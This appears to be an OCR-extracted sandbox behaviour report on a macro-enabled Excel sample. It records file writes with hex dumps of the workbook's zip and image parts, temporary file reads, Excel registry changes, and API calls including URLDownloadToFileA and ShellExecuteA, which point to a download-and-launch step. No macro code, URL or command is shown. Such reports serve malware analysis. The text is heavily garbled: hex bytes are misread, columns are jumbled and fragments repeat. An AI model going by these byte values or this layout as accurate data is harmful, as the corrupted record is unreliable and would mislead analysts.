unknown

unknown
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File Path
C:\Users\user\AppData\Local\Temp\67FE0000

C:\Users\user\AppData\Local\Temp\67FE0000

Copyright null 2021

Offset
569

1050

Length Value

481

2

Ascii

Completion

a4 95 cb 6e db 30 ...n.0.E.......H...(,0...6@S.[ success or wait
....... (.w(9...a....u...q....

10 45 {7 05 fa Of
02 b7 85 48 a7
8b a2 28 2c 67

dla4ch364053 ...

a0 5b 9a 1c d9 ac
9 02 c9 28 f2 df
77 28 39 Oe e2
ea6lallbcb 12 ;
75 ef 99 19 71 86
eb db d6 e8 a2
811095 b3 15
b9 al 2b 52 80
15 4e 2a bb ab c8
af c7 6f e5 67 52
c4 c4 ad e4 da 59
a8 c8 11 22 b9 dd
bc 7f b7 7e 3c 7a
88 05 aa 6d ac c8
3e 25 ff 85 bl 28
6 60 78 a4 ce 83
c5 95 da 05 c3 13
de 86 1d f3 5c 1c
f8 0e d8 c7 d5 ea
13 13 ce 26 b0
a9 4c d9 83 6¢ d6
77 50 f3 27 9d 8a
fb 16 1f 7 91 6¢
95 25 c5 d7 fe bd
8c aa 08 f7 5e 2b
c1 1306 ca la2b
2f 20 a5 ab 6b 25
40 3a f1 64 dO 9a
46 1f 80 cb b8 07
48 46 53 1f 14 12
c3 4f 48 09 13 8b
84 0d 32 bd dd
5d 30 95 c9 31 e7
e7c30a30f5a0
a2 2d f3 ca b0 26
80 8e 17 a2 99
d4 7c 5f 3b 8a ca
2e fd b8 57 3e 7e
c0 02 8f 10 f2 ca

03 00

k%@:.d..F.
2000200 8|

success or wait

Source
Count Address

23 7FEEAC59ACO

Symbol

unknown

23 7FEEAC59ACO unknown
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\67FE0000 0 569 50 4b 03 04 14 PK......... L Foe success or wait 24 7FEEAC59ACO unknown
00 06 00 08 00 [Content_Types].xml ...
00 00 21 00 04 f8 (cevvrevevereierriereieirinieiens
aafde3010000 ...
2a 07 00 00 13
0008 02 5b 43 6f ...
6e 74 65 6e 74 5f .
5479 70 65 73
5d 2e 78 6d 6¢ 20 ...............
a2 04 02 28 a0
00 02 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
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File Path
C:\Users\user\AppData\Local\Temp\67FE0000

Copyright null 2021

Offset
24904

Length Value

4096

ec 7d 7d 74 5¢c c¢5 .J}\..g..-../.da...gY.mIL..#..- success or wait
....... P..wKj[.eu#.F&$n..(,.
..... LhrHVC....D&...C2Z.LD

9567 bd d7 2d
a9 ad 2f b7 64 61
Ob db e0 67 59

d8 6d 6c4ccb 18 ...

2384 0d 2d d9

Ascii

06 99 b1 8d b0 1c ..D..7..

5088 13 77 4b
6a 5b b2 65 75
23946 26 24
6e 7f 84 28 2c 9b
08 d6 e3 d5 b0 4c
68 72 48 56 43
08 a3 e4 b0 44
26 99 9c b6 43 32
5a 96 4c 44 26 d9
dl ec 9e b3 91 49
66 57 67 27 99
11 9b 30 d1 1f 59
b4 bf 5f 55 bd ee
a7 d6 939181 f9
d8 73 a6 e4 db
75 eb 57 f7 de fa
ae 57 ef bd 7a e5
d1 1f 97 8¢ 3f ff
cd a5 97 45 96

bb 53 78 ¢4 7b d3
Ob 44 ae 03 37 c0
93 a4 f3 0b 61 82
21 bd 37 3d 3d
2d 31 fc 80 fd 57
7 ff 51 0d fc 5f
e4 35 0f ed 16 02
79 41 39 20 b6
79 21 e8 3a do
02 50 3e a8 00 c4
76 2e 82 5f Oc ba
16 e4 07 95 80
4a 41 8b 40 65
a0 6b 40 8b 41
4b 40 e5 20 1f 68
29 68 19 68 39
68 17 a8 01 b4
02 b4 11 b4 12
54 01 5a 05 aa
04 dd 00 5a 0d
5a

1..W..Q.._.5...yA9
YhiP>lve
.JA.@e k@.AK@.

h)h.hoh.......T.Z...2.Z

Completion

Source
Count Address

Symbol

9 7FEEAC59ACO unknown
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File Path
C:\Users\user\AppData\Local\Temp\67FE0000

Copyright null 2021

Offset
48566

Length Value

2653

89 50 4e 47 0d
Oa 1a Oa 00 00
00 0d 49 48 44
52 00 00 01 6b
00 00 00 ea 08
03 00 00 00 53
03 94 83 00 00
00 19 74 45 58
74 53 6f 66 74 77
61 72 65 00 41
64 6f 62 65 20 49
6d 61 67 65 52
6561 64 79 71 c9
65 3¢ 00 00 00 18
50 4c 54 45 ff ff ff
b0 b0 b0 d3 d4
d3 4b 49 4b 8f cc
e5 94 96 6 c9 d3
f9 84 84 85 f5 b7
Ob db 00 00 09
db 49 44 41 54
78 da ec 9d 09 62
a3 300c 45 2d 91
a2 fb df b8 de 11
60 a8 59 02 86
7e 66 da a6 24
93 68 le f6 b7 2c
ch c2 48 87 e3 9a
43 4c 67 1e 78 3¢
d4 68 b0 06 6b
b0 06 6b b0 06
6b b0 06 6b b0
06 6b b0 06 6b
b0 06 6b b0 06
eb ff ce 9a bb ce
9e ec 3a f6 df 84
fd ef 24 46 dc 03
fb 88 ¢8 90 b1 7f
ed 03 e6 f8 45 a7
98 c2 dd c7 74 f2
63 3fcc 7e 94 f4
f2 71 3fdc a7 fe
fc c9 fa 21 46 cf
cd f6 a7 29 3c 23
24 e26¢c14d3 9
ef cc d6 e4

PNG........ IHDR...k......... S success or wait

....... tEXtSoftware.Adobe

Imag
eReadyqg.e<....PLTE

1] RNSONRSNSRR—— IDATX....b

0.E-.....Y.~f.$.h.
H...CLg.x<.h..k..k..k.

K.k..

R [ 2 (] SR =

<#3$.l.......

Completion

Source
Count Address

Symbol

1 7FEEAC59ACO unknown
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File Path
C:\Users\user\AppData\Local\Temp\67FE0000

C:\Users\user\Desktop\~$sample20210111-01.xIsm

C:\Users\user\Desktop\~$sample20210111-01.xIsm

Copyright null 2021

Offset
54853 1719
unknown 55

unknown 110

Length Value

50 4b 01 02 2d
00 14 00 06 00
08 00 00 00 21
00 04 f8 aa fd e3
01 00 00 2a 07
00 00 13 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
5b 43 6f 6e 74 65
6e 74 5f 54 79 70
65 73 5d 2e 78
6d 6¢ 50 4b 01 02
2d 00 14 00 06
00 08 00 00 00
21 00 b5 55 30
23 f5 00 00 00 4c
02 00 00 Ob 00
00 00 00 00 00
00 00 00 00 00
00 00 1c 04 00 00
5f 72 65 6¢ 73 2f
2e 72 65 6¢ 73
50 4b 01 02 2d
00 14 00 06 00
08 00 00 00 21
00 16 15 88 97
1b 01 00 00 2b
03 00 00 1a 00
00 00 00 00 00
00 00 00 00 00
00 00 42 07 00
00 78 6¢ 2f 5f 72
65 6¢ 73 2f 77 6f
72 6b 62 6f 6f 6b
2e 78 6d 6¢ 2e 72
65 6¢ 73 50 4b 01
02 2d 00 14 00
06 00 08 00 00
0021 00 f1 fd 54
a9 8a 02 00 00
14 06 00 00 Of 00
00 00 00 00 00
00 00 00 00 00
00 00 9d 09 00
00 78 6c 2f 77 6f
72 6b 62 6f 6f 6b
2e 78 6d 6¢

0541 6¢ 627573
2020202020
20202020 20
20202020 20
20202020 20
20202020 20
2020202020
202020 20 20
20202020 20
202020 20 20
202020 20

050041006c00 .Albus..............

6200 7500 73
00 20 00 20 00
2000 20 00 20
00 20 00 20 00
2000 20 00 20
00 20 00 20 00
2000 20 00 20
00 20 00 20 00
2000 20 00 20
00 20 00 20 00
2000 20 00 20
00 20 00 20 00
2000 20 00 20
00 20 00 20 00
2000 20 00 20
00 20 00 20 00
2000 20 00 20
00 20 00 20 00
2000 20 00 20
00 20 00 20 00
20 00 20 00

.............. B...xl/_rels/wor

kbook.xml.relsPK..
T
xl/workbook.xml

.user

Completion

success or wait

success or wait

success or wait

1

1

1

Source
Count Address

13F77F526

13F77F591

Symbol

7FEEAC59ACO unknown

WriteFile

WriteFile
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File Path
C:\Users\user\Desktop\BOOF0000

C:\Users\user\Desktop\BOOF0000

Copyright null 2021

Offset
569

1050

Length Value

481

2

Ascii

Completion

a4 95 cb 6e db 30 ...n.0.E.......H...(,0...6@S.[ success or wait

1045705 fa Of ....... (.w(9...a....u...q....

02 b7 85 48 a7
8b a2 28 2c 67

dla4ch364053 ...

a0 5b 9a 1c d9 ac

f902c9282df .k%@:.d..F.
2000200 8|

77 28 39 Oe e2
ea6lallbcb 12 ;
75 ef 99 19 71 86
eb db d6 e8 a2
811095 b3 15
b9 al 2b 52 80
15 4e 2a bb ab c8
af c7 6f e5 67 52
c4 c4 ad e4 da 59
a8 c8 11 22 b9 dd
bc 7f b7 7e 3c 7a
88 05 aa 6d ac c8
3e 25 ff 85 bl 28
6 60 78 a4 ce 83
c5 95 da 05 c3 13
de 86 1d f3 5c 1c
f8 0e d8 c7 d5 ea
13 13 ce 26 b0
a9 4c d9 83 6¢ d6
77 50 f3 27 9d 8a
fb 16 1f 7 91 6¢
95 25 c5 d7 fe bd
8c aa 08 f7 5e 2b
c1 1306 ca la2b
2f 20 a5 ab 6b 25
40 3a f1 64 dO 9a
46 1f 80 cb b8 07
48 46 53 1f 14 12
c3 4f 48 09 13 8b
84 0d 32 bd dd
5d 30 95 c9 31 e7
e7c30a30f5a0
a2 2d f3 ca b0 26
80 8e 17 a2 99
d4 7c 5f 3b 8a ca
2e fd b8 57 3e 7e
c0 02 8f 10 f2 ca

03 00

success or wait

Source
Count Address

23 7FEEAC59ACO

Symbol

unknown

23 7FEEAC59ACO unknown
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\Desktop\BOOF0000 0 569 50 4b 03 04 14 PK......... L Foe success or wait 24 7FEEAC59ACO unknown
00 06 00 08 00 [Content_Types].xml ...
00 00 21 00 04 f8 (everevevereiarrieiciirinieians
aafde3010000 ...
2a 07 00 00 13
0008 02 5b 43 6f ...
6e 74 65 6e 74 5f .
5479 70 65 73
5d 2e 78 6d 6¢ 20 ...............
a2 04 02 28 a0
00 02 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
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File Path
C:\Users\user\Desktop\BOOF0000

Copyright null 2021

Offset
24904

Length Value

4096

ec 7d 7d 78 1c c5
99 67 75 cf 48 1a

Source

Ascii Completion Count Address Symbol
JX..guH..#Y..6.-{...c..  success or wait 9 7FEEAC59ACO unknown
as$. ... g..IcK...$...

ebcb2359d8c2 .y.

36 b8 2d Ob 7b 8c .

8d 19 19 63 84
b0 61 24 db 20
b3 b6 11 96 03
0a71e2 1949
63 4b b6 ac 19 24
d9 c8 84 c4 e3 8f
1085e512cl
79 bd 5a 96 0d
431e 92d312c2
2a79 382293 6¢
6e ec 90 ac 8e 23
1b 91 4d 6e b5
77 7f 44 26 d9 3b
3d b7 c9 ae b8 84
8d fe c8 al fb fd
aa aa 67 5a a3
96 91 21 fb f5 3¢
5b f2 3b 5 d6 af
de f7 ad ef ea ea
ee ea 2 e8 0f 4b
c6 of ff fa d2 cb
22 cb dd 29 3c e2
bd €9 05 22 d7
81 1b e0 49 d2 f9
85 30 c1 90 de 9b
9e 9e 96 18 7e
c0 fe bb fb 37 54
03 ff Of 79 cd 43
bb 85 40 5e 50
0Oe 88 6d 5e 08
ba Oe b4 00 94 of
2a 00 b1 9d 8b
€017 83 ae 05 f9
41 25 a0 52 do
225019 e8 1a
d0 62 d0 12 50
39 ¢8 07 5a 0a 5a
06 5a Oe da 05
6a 00 ad 00 6d
04 ad 04 55 80
56 81 2a 41 37
80 56 83 d6 80

.C.@"P.m".....%
%.R."P...b..P9..2.2.7.
m..UV*A7.V...
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File Path
C:\Users\user\Desktop\BOOF0000

Copyright null 2021

Offset
48567

Length Value

2653

89 50 4e 47 0d
Oa 1a Oa 00 00
00 0d 49 48 44
52 00 00 01 6b
00 00 00 ea 08
03 00 00 00 53
03 94 83 00 00
00 19 74 45 58
74 53 6f 66 74 77
61 72 65 00 41
64 6f 62 65 20 49
6d 61 67 65 52
6561 64 79 71 c9
65 3¢ 00 00 00 18
50 4c 54 45 ff ff ff
b0 b0 b0 d3 d4
d3 4b 49 4b 8f cc
e5 94 96 6 c9 d3
f9 84 84 85 f5 b7
Ob db 00 00 09
db 49 44 41 54
78 da ec 9d 09 62
a3 30 0c 45 2d 91
a2 fb df b8 de 11
60 a8 59 02 86
7e 66 da a6 24
93 68 le f6 b7 2c
ch c2 48 87 e3 9a
43 4c 67 1e 78 3¢
d4 68 b0 06 6b
b0 06 6b b0 06
6b b0 06 6b b0
06 6b b0 06 6b
b0 06 6b b0 06
eb ff ce 9a bb ce
9e ec 3a f6 df 84
fd ef 24 46 dc 03
fb 88 ¢8 90 b1 7f
ed 03 e6 f8 45 a7
98 c2 dd c7 74 f2
63 3fcc 7e 94 f4
f2 71 3fdc a7 fe
fc c9 fa 21 46 cf
cd f6 a7 29 3c 23
24 e26¢c14d3 9
ef cc d6 e4

PNG........ IHDR...k......... S success or wait

....... tEXtSoftware.Adobe

Imag
eReadyqg.e<....PLTE

1] RNSINRSNS——— IDATX....b

0.E-.....Y.~f.$.h.
H...CLg.x<.h..k..k..k.

K.k..

R [ 2 (] SR =

<#3$.l.......

Completion

Source
Count Address

Symbol

1 7FEEAC59ACO unknown
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File Path
C:\Users\user\Desktop\BOOF0000

Copyright null 2021

Offset
54820

Length Value

1719

50 4b 01 02 2d
00 14 00 06 00
08 00 00 00 21
00 04 f8 aa fd e3
01 00 00 2a 07
00 00 13 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
5b 43 6f 6e 74 65
6e 74 5f 54 79 70
65 73 5d 2e 78
6d 6¢ 50 4b 01 02
2d 00 14 00 06
00 08 00 00 00
21 00 b5 55 30
23 f5 00 00 00 4c
02 00 00 Ob 00
00 00 00 00 00
00 00 00 00 00
00 00 1c 04 00 00
5f 72 65 6¢ 73 2f
2e 72 65 6¢ 73
50 4b 01 02 2d
00 14 00 06 00
08 00 00 00 21
00 16 15 88 97
1b 01 00 00 2b
03 00 00 1a 00
00 00 00 00 00
00 00 00 00 00
00 00 42 07 00
00 78 6¢ 2f 5f 72
65 6¢ 73 2f 77 6f
72 6b 62 6f 6f 6b
2e 78 6d 6¢ 2e 72
65 6¢ 73 50 4b 01
02 2d 00 14 00
06 00 08 00 00
0021 00 f1 fd 54
a9 8a 02 00 00
14 06 00 00 Of 00
00 00 00 00 00
00 00 00 00 00
00 00 9d 09 00
00 78 6c 2f 77 6f
72 6b 62 6f 6f 6b
2e 78 6d 6¢

.............. B...xl/_rels/wor

kbook.xml.relsPK..
T
xl/workbook.xml

Symbol
7FEEAC59ACO unknown
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\998453.cvr unknown 1392 4d 53 51 4d 78 MSQMXx....... NS success or wait 1 14025828C URLDownloadToFileA
0000000000 .g
0000 5c 2e 53 1d ...
0a000000f804 ...
00 00 02 00 00
00 00 00 Oe 00
67 1b 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 a1
d5 da 80 8a e8
d6 01 d5 8e 58 8f
8a €8 d6 01 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 03 00 00
01 00 00 00 00
00 00 00 00 00
00 00 02 00 00
00 01 00 00 00
01 5f 00 00 03 00
00 00 45 58 43
45 00 00 00 00
04 00 00 00 ff ff ff
ff 00 00 00 00 05
00 00 00 ff ff ff f
00 00 00 00 06
00 00 00 00 00
00 00 ac 00 00 00
3500 00 00 67

1b 00 00 00 00

00 00 3b 00 00

00 02 00 00 00

ac 00 00 00 3c 00

00 00 00 00 00

00 00 00 00 00

41 00 00 00 00

04 00 00 00 00

00 00 6¢ 00 00 00

00 00 00

File Read
Source

File Path Offset Length Completion Count Address Symbol
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 1408 pending 1 7FEEACBFD74 unknown
Files\Content. MSO\8EOB323E.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 88 pending 1 7FEEACBFD74 unknown
Files\Content. MSO\8EOB323E.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 1408 success or wait 1 7FEEAC59ACO unknown
Files\Content. MSO\94A44127.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 1408 success or wait 1 7FEEAC59ACO unknown
Files\Content.MSO\5B1BD8FC.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 1408 success or wait 1 7FEEAC59ACO unknown
Files\Content. MSO\E97A6CCD.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 8192 success or wait 1 7FEEAC59ACO unknown
Files\Content. MSO\8EOB323E.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 8192 end of file 1 7FEEAC59ACO unknown
Files\Content. MSO\8EOB323E.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 1408 success or wait 2 7FEEAC59ACO unknown
Files\Content. MSO\8EOB323E.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 2653 success or wait 2 7FEEAC59ACO unknown
Files\Content. MSO\A342A0F1.png
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 1408 pending 2 7FEEAC59ACO unknown
Files\Content. MSO\8EOB323E.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 1408 success or wait 1 7FEEAC59ACO unknown
Files\Content. MSO\58DCE563.emf
C:\Users\user\Desktop\sample20210111-01.xIsm unknown 8 success or wait 1 7FEEAC59ACO unknown
C:\Users\user\Desktop\sample20210111-01.xIsm 0 8 pending 1 7FEEAC59ACO unknown

Registry Activities
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Key Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\VBA

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EF6EC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\FO08D
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F208B
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\Startupltems

Key Value Created

Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Options

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Options

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Options

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Options

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

DefaultSheetR2L

UseSystemSeparators

ThousandsSeparator

DecimalSeparator

Max Display

Max Display

Iltem 1

Iltem 2

Item 3

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Item 11

Iltem 12

Item 13

Iltem 14

Type

dword

dword

unicode

unicode

dword

dword

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait
success or wait

success or wait

success or wait

Data

25

25

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5795694722.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Address

P PR NN R R R R R R R

Source

Symbol

7FEEAC6E72B RegCreateKeyExA

7FEEAC6E72B RegCreateKeyExA

7FEEAC6E72B RegCreateKeyExA

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

Source
Count Address

1 14025828C

1 14025828C

1 14025828C

1 14025828C

1 7TFEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO

Symbol
ShellExecuteA

ShellExecuteA

ShellExecuteA

ShellExecuteA

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

Item 15

Item 16

Item 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[000000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[000000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[000000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\8416181845.xlsx

[FO0000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\2874006916.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Source

Count Address

1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EF6EC binary 04 00 00 00 FO 07 00 00 38 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 43 00 3A 00 5C 00 55 00 73 00 65 00

iency\DocumentRecovery\EF6EC 7200 73 00 5C 00 41 00 6C 00 62 00

7500 73 00 5C 00 41 00 70 00 70 00
44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54
00 65 00 6D 00 70 00 5C 00 62 00 65
00 66 00 6F 00 72 00 65 00 2E 00 31
00 2E 00 31 00 2E 00 30 00 2E 00 73
00 68 00 65 00 65 00 74 00 2E 00 63
00 73 00 76 00 00 00 00 00 22 00 00
00 43 00 3A 00 5C 00 55 00 73 00 65
00 72 00 73 00 5C 00 41 00 6C 00 62
00 7500 73 00 5C 00 41 00 70 00 70
00 44 00 61 00 74 00 61 00 5C 00 4C
00 6F 00 63 00 61 00 6C 00 5C 00
54 00 65 00 6D 00 70 00 5C 00 01 00
00 00 01 00 00 00 34 36 CO 84 8A
E8 D6 01 EC F6 OE 00 EC F6 OE 00
00 00 00 00 B8 02 00 00 OA 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
